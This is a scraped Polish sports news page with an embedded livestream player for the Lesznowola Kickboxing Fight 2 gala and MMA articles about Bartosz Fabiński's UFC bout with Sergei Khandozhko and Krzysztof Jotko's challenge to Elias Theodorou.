ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Lesznowola Kickboxing Fight 2

Zapraszamy na transmisję telewizyjną z gali kickboxingu Lesznowola Kickboxing Fight 2.

[kod]

Lesznowola Kickboxing Fight 2

Lesznowola Kickboxing Fight 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Khandozko rywalem Fabińskiego

Podczas gali UFC on ESPN+11 w Sztokholmie zaprezentuje się Bartosz Fabiński. 1 czerwca Polak zmierzy się z Sergiejem Khandozko.

33-latek z Warszawy szykuje się do piątej walki w UFC. Dotychczas Fabiński zbierał w najlepszej organizacji MMA na świecie dobre recenzje. Jednak ostatniego występu Polak nie będzie wspominał najlepiej, ponieważ w Buenos Aires doznał pierwszej porażki. Michael Prazeres poddał Fabińskiego po upływie 62 sekund. Warto również wspomnieć, że polski fighter miał dłuższą przerwę od występów. W listopadzie 2015 roku pokonał Hectora Urbinę i zniknął na kilkanaście miesięcy. Blisko trzy lata czekaliśmy na kolejną walkę Polaka! Fabiński tłumaczył, że jego przerwa spowodowana była kłopotami zdrowotnymi. 22 lipca 2018 roku "The Butcher" wrócił i pokonał Emila Meeka. W najbliższym występie Polak będzie chciał powrócić na zwycięską ścieżkę, ale jego rywal z pewnością "tanio skóry nie sprzeda".

Sergiei Khandozko w Sztokholmie stoczy pierwszy pojedynek w UFC. 26-latek występował m.in. w organizacji ACB, jednak prezentował się tam w kratkę – trzy wygrane i cztery porażki. W dwóch ostatnich starciach Khandozhko zwyciężył rywali przed czasem. Trzeba przyznać, że Rosjanin jest niezwykle niebezpiecznym przeciwnikiem. Aż 17 z 25 wygranych pojedynków zakończył przed czasem. W większości przypadków triumfował przez nokaut! Khandozhko ma na swoim koncie pięć porażek.

26-letni Rosjanin jest groźny, którego atutem jest wszechstronność. W stójce może sprawić Polakowi sporo problemów, jednak Fabiński to doświadczony fighter doskonale znający smak rywalizacji w UFC. Z pewnością w parterze poradzi sobie z Khandozhko. Niejednokrotnie w UFC pokazał, że potrafi wykazać się skutecznością.

W Sztokholmie w walce wieczoru zaprezentują się Alexander Gustafsson i Anthony Smith. W akcji zobaczymy również m.in. Volkana Oezdemira w starciu z Illirem Latifim czy Jimi'ego Manuwę, który będzie rywalizował z Aleksandarem Rakiciem.

Fot. Bartosz "The Butcher" Fabiński

KM

Jotko głodny walki

Po wygranej z Alenem Amedovskim, Krzysztof Jotko nie może doczekać się kolejnej walki. Polski fighter rzucił wyzwanie Eliasowi Theodorou.

29-letni Jotko przed galą UFC Fight Night 149 w Petersburgu znajdował się w trudnej sytuacji. Przez rok nie pojawił się w oktagonie ze względu na kontuzję, w konsekwencji której musiał przejść operację. Później Polaka czekała kilkumiesięczna rekonwalescencja. Na początku roku 29-latek był gotowy do powrotu i zgłaszał swój akces do kolejnego występu w UFC. Umieszczono go w rozpisce gali w Sankt Petersburgu. Początkowo miał rywalizować z Romanem Kopyłowem, ale ten wypadł z rozpiski z powodu kontuzji. Zastąpił go Alen Amedovskim. Dla Jotki był to więc powrót, ale o podwójnym znaczeniu. Sytuacja naszego zawodnika w UFC nie była najlepsza. Przegrał trzy ostatnie walki i w starciu z Macedończykiem musiał wspiąć się na wyżyny. Jotko zaprezentował MMA na dobrym poziomie. Polak często atakował rywala, sprowadzał pojedynek do parteru, w efekcie działań naszego zawodnika twarz Macedończyka zalana była krwią. Zwycięstwo 29-latka urodzonego w Elblągu stało się faktem.

Rozochocony 20 wygraną w karierze Jotko liczy na kolejną walkę. Polak rzucił wyzwanie Eliasowi Theodorou. – Kilka lat temu chciałeś ze mną walczyć, zróbmy to w lipcu bądź sierpniu! Co o tym myślisz? – napisał Polak na Twitterze. 30-letni Kanadyjczyk nie wyklucza takiej możliwości. – Byłoby zaszczytem dzielić z Tobą klatkę – odpowiedział.

Jak widać, nie ma nic prostszego niż zaczepka w mediach społecznościowych, co pozwala nawiązać kontakt i wykonać krok w stronę ewentualnego pojedynku. Theodorou to doświadczony zawodnik, który w UFC rywalizuje od pięciu lat. 4 maja przegrał z Derekiem Brunsonem, który przerwał serię zwycięstw Kanadyjczyka. Wcześniej 30-latek pokonał Daniela Kelly'ego, Trevora Smitha i Eryka Andersa. Theodorou ma na swoim koncie 16 zwycięstw i trzy porażki (wszystkie w UFC).

Jotko stoczył więcej walk niż Theodorou, bo 24, z których 20 wygrał. W UFC Polak miał fantastyczną serię pięciu triumfów z rzędu i mówiło się, że może myśleć o walce o pas. Jego serię przerwał jednak David Branch. Oby wygrana z Amedovskim była początkiem kolejnej wspaniałej serii Krzysztofa Jotko.

Fot. Krzysztof Jotko Facebook

KM